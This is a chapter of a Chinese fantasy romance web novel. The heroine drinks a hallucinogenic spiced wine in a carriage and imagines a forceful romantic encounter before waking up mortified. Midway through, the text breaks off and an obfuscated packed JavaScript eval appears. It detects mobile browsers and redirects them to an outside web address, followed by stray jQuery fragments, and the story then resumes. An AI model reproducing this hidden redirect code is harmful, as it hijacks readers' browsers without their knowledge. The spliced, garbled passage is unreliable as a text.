40. 天穿篇:驼伶酒

作品:《岁时食肆[美食]

    这辆马车实在太过奢华舒适。脚下是柔软得能陷进去的兽皮毯,车厢内弥漫着清雅的茶果甜香,行驶起来平稳得几乎感觉不到颠簸,只有窗幔外流动的风景提示着他们在前行。


    姜糖觉得自己那个一坐舒适交通工具就犯困的毛病又发作了。


    守仓君金须赛极有眼色,送上两份重礼后,便恭敬地表示不敢与司历大人同乘,以免打扰大人清净。随后自行退下,不知是去了车队前头,还是用了什么神通离开了。


    那根一直吊着自己绷直脊梁的绳子好似“啪”的一声断了。刚刚过去的48小时,姜糖经历了被俘虏、与贺兰澜地窖过夜、营地生死搏杀、守仓君显圣、与白虹义从一起吃烤全羊喝葡萄酒、再到接受婚礼邀请、伪装入关……实在是发生了太多事情。


    姜糖无论是身体还是精神,都非常过载。此刻身处这安逸的环境里,她真的很想在那张看起来就极其舒服的软榻上歪一会儿。


    对于贺兰澜,两人在紫姑神幻境里相依为命一个月,什么苦都一起吃过了,风餐露宿、灰头土脸的样子彼此都见过,姜糖在他面前其实早已不太在乎什么形象包袱。但……车厢里还有第三个人——那位目光灼灼的穆兰丹。


    碍于穆兰丹在场,出于基本的礼貌和一丝被那古怪目光注视的不自在,姜糖只好强打精神,保持素质,老老实实地坐在窗边的座椅上,打算借品尝点心和香饮子来提提神。


    小几上摆放的器皿皆是上好的甜白瓷,莹润可爱。点心共有四样,做得极其精致,古香古色。


    一盘是做成芙蓉花状的酥饼,层层叠叠,酥皮薄且脆,透出淡粉色的馅料,果香清甜。


    旁边一盘是蟠桃蜜饯,颜色粉嫩,上面还带着细小的糖丝绒毛,栩栩如生,不知是如何制成。


    此外还有一小碟金乳酥,奶香浓郁色泽金黄,让人食指大动。


    最后一盘则是半透明的玉露团,以苹果和酥酪为馅,点缀着金黄的糖桂花,晶莹剔透,几乎可与胡蜜娘出品的玉露团平分秋色。姜糖想到胡蜜娘,不知道自己离开了这么多天,她又发明了什么新点心没有?


    而那杯中的香饮子,色泽澄澈,呈淡淡的琥珀色,盛在薄胎瓷杯中,更显清透。


    初闻之下,有薄荷、甘松等香料的清凉气息,细品又带着某种不知名花果的馥郁甜香,沁人心脾。


    姜糖轻轻啜饮一口,口感清爽微甜,带着一丝恰到好处的凉意,顺着喉咙滑下,瞬间驱散了不少疲惫感,只觉得四肢百骸都舒坦起来。


    “真好喝!”她再接再厉又喝了一大口,那点困倦似乎都被这美妙的滋味压了下去。


    好在,贺兰澜非常懂她。见姜糖虽强打精神,但眉眼间难掩困倦,便主动送上来解闷了。


    “怎么?司历大人可是有些乏了?”他道。


    有人递来台阶,姜糖自然顺着下,她立马放下杯子便做解释:“是啊,昨天都没怎么合眼。这马车太舒服了,坐得人昏昏欲睡。”


    姜糖以为贺兰澜下一句就会是建议她去软榻上休息,那么她会当场表演什么叫从善如流。


    然而,贺兰澜却忽然凑得极尽,笑得极美,又带着撩拨。


    “那我来给大人解解乏吧?”


    姜糖的脸“唰”地一下就红了,心跳骤然失序。她甚至能感觉到他说话时的气息。这距离实在太超过了!


    她下意识地推了他肩膀一下,声音带着羞恼:“别闹,车里还有人呢。”她指的是穆兰丹。


    被她一推,贺兰澜非但没有退开,反而笑了一声。姜糖侧过头想用眼神警告他,却愕然发现穆兰丹不知何时,已经不在车厢内了!


    偌大的、奢华而私密的车厢里,此刻只剩下她和贺兰澜两人!


    这下,氛围瞬间变得更加暧昧。


    他单膝跪在了她坐着的椅前,就在她的腿边,仰头望着她。目光里是姜糖从未见过的、炽热直白的情感。


    这个姿势,带着一种臣服的意味,与他平日里的沉稳冷静截然不同。她觉得不安,却被这种奇异的征服感摄取了心神,几乎让姜糖心脏骤停。


    “我知道我身份低微,配不上你。”半晌,他终于垂下浓密的睫毛。


    “只求姜大人能够垂怜,允我常伴左右,哪怕只是作为侍从。”


    姜糖的大脑一片空白,被他这突如其来的、极具冲击力的表白和姿态弄得手足无措。她实在是受不得对方如此卑微,看着他那双盛满了情意的漂亮眼睛,心一软,拒绝的话语便堵在喉咙口。


    她想拒绝,想说我们还没到能确认关系的地步,想说这样太快了……可情感冲击着她的理智防线。


    她不知道该如何回应,只能慌乱地别开脸。


    而贺兰澜,却低下头,肩膀像忍不住笑一样耸动着。他忽然倾身向前,唇瓣带着灼人的温度,轻轻印在了她裸露的脖颈上!


    “哎呀,骗你的。”他含糊的、轻松的说道。


    轰——!


    姜糖只觉得一股电流从被他亲吻的那处皮肤瞬间窜遍全身,让她浑身酥麻,几乎要软倒。


    他突然动了。不是请求,而是带着不容抗拒的强势,将手抵在她身侧,将她困在方寸之间。


    “看着我。”他的声音低沉沙哑,带着命令,手指不由分说地扣住她的手腕。


    “我知道你来自不同的地方。可是既然来到了我的世界,就别想再逃开了。”


    “身份低微?我日夜想得都是以下犯上呢。”


    姜糖被他这番霸道的宣言惊得心跳漏拍,还没来得及反应,就感觉天旋地转。


    他竟直接将她打横抱起,又轻轻放倒在铺着软垫的榻上。高大的身躯随即欺身而上,将她完全笼罩在阴影里。


    “贺兰澜你……”她的话被截断在唇齿间。


    这个吻来得猝不及防。他一手扣住她的后颈,另一手与她十指相扣,长驱直入,攻城略地。


    “咦……”姜糖被迫仰头承受,浑身发软。他的吻技好得不像话,每一次深入都带着撩拨的意味,让她溃不成军。


    “换气。”在她快要窒息时,他才稍稍退开,笑着催促。


    “这是惩罚。”贺兰澜声音里带着蛊惑人心的笑意,“惩罚你让我等了这么久。”


    姜糖理智在疯狂报警,但身体却诚实地贪恋这份亲密。


    不对!


    就在意乱情迷,几乎要沉沦的瞬间,一个极其微弱的、属于现代灵魂的理智残片,如同被泼冷水般清醒了片刻。


    贺兰澜虽然爱撩,但他极有分寸。


    在未得到自己明确的心意和承诺之前,他向来进退有据,有条不紊,保持着恰到好处的距离,甚至连手都不肯轻易让她拉到,像个最狡猾又有耐心的猎人,等待她心甘情愿地坠落。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724569|186137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他绝不是此等孟浪、轻浮的人。


    但美色当前,贺兰澜的亲吻和拥抱如此真实,他身上的气息如此熟悉,他眼中的火如此灼热。姜糖的理智在艰难地挣扎,身体却难以抵挡这极致的诱惑。


    “等等……”姜糖残存的理智在挣扎,


    “等不了。”他低笑,手掌在她腰间收紧,将她更密实地拥入怀中。


    她感觉自己被一股力量带着向后倒去,后背陷入柔软的榻中,而贺兰澜也随之覆了上来。


    微凉的空气接触到肌肤,激起大片战栗。


    姜糖忽然听到一个声音,一个清晰中带着些许关切和疑惑的、属于贺兰澜的声音,从车窗边传来:


    “你怎么了?是不是乏了?”


    这个方向……


    如果贺兰澜在那边……那此刻压在自己身上的人是谁?!


    此念一起,如同照妖镜般,眼前的旖旎春色瞬间扭曲破碎。


    “这个时候还分心?”


    姜糖惊恐地看见,身上那个“贺兰澜”从她身上直起身。他带着餍足的得意,一边说道,一边慢条斯理地擦了一下唇角,那眼角眉梢带着泛红的色气,与贺兰澜平日看她的眼神截然不同。


    “下次再罚你。”


    紧接着,在姜糖的眼中,这个“贺兰澜”,连同整个暧昧粉红的幻境,就像阳光下五彩斑斓的肥皂泡沫一样,“啵”的一声破掉,消失了。


    ……


    感官瞬间回归现实。


    姜糖发现自己还是好好地坐在窗边的软垫上,姿势甚至都没有变。手中还稳稳地握着那只甜白瓷的杯子,里面琥珀色的香饮子还剩小半杯。


    车厢内果香依旧,点心也原封未动。窗外的风景匀速后退。


    穆兰丹不知何时确实已经告退下车离开了。


    而真正的贺兰澜,就坐在她对面稍远一些的位置,并没有发觉异常。只是见她发愣半晌,又不理睬自己,便唤了她一声,问她是不是乏了,要不要先到榻上休息片刻。


    他眼神带着不解,与方才幻境中那个情欲灼身、行为孟浪的他判若两人。


    原来……刚才那一切,从穆兰丹离开,到贺兰澜靠近、表白、亲吻、乃至……都特么是幻觉?!


    而自己……自己刚才在幻觉里……


    “塌……”听到贺兰澜提到“榻”这个字,姜糖的脸色瞬间从惊魂未定的青白,如同被投入水的虾一般,迅速爆红,连耳朵尖和脖子都红透了!


    “呜!”


    她发出一声无地自容的哀鸣,猛地将头埋进了自己的臂弯里,伏在案上说什么也不肯再抬头了。


    啊啊啊啊啊啊啊啊啊!!!


    守仓君金须赛!!!你个杀千刀的老鼠精!!!为什么不告诉她?!这根本不是什么提神醒脑的劳什子香饮子!分明就是他之前提起过的驼伶酒,那个“无毒无害”的致幻酒!!!


    她不过只是困了、凭什么就要猝不及防的面对自己平日脑子里解闷用的黄色废料,这是一个母胎单身的人该承受的的严刑拷打吗?


    啊啊啊啊啊!


    还差点就在幻觉里……


    姜糖羞愤欲死,感觉这辈子都没这么社死过。


    她甚至能感觉到贺兰澜投来的、带着困惑和愈发担忧的目光。


    天啊,就让这辆豪华马车立刻解体,把她埋了吧!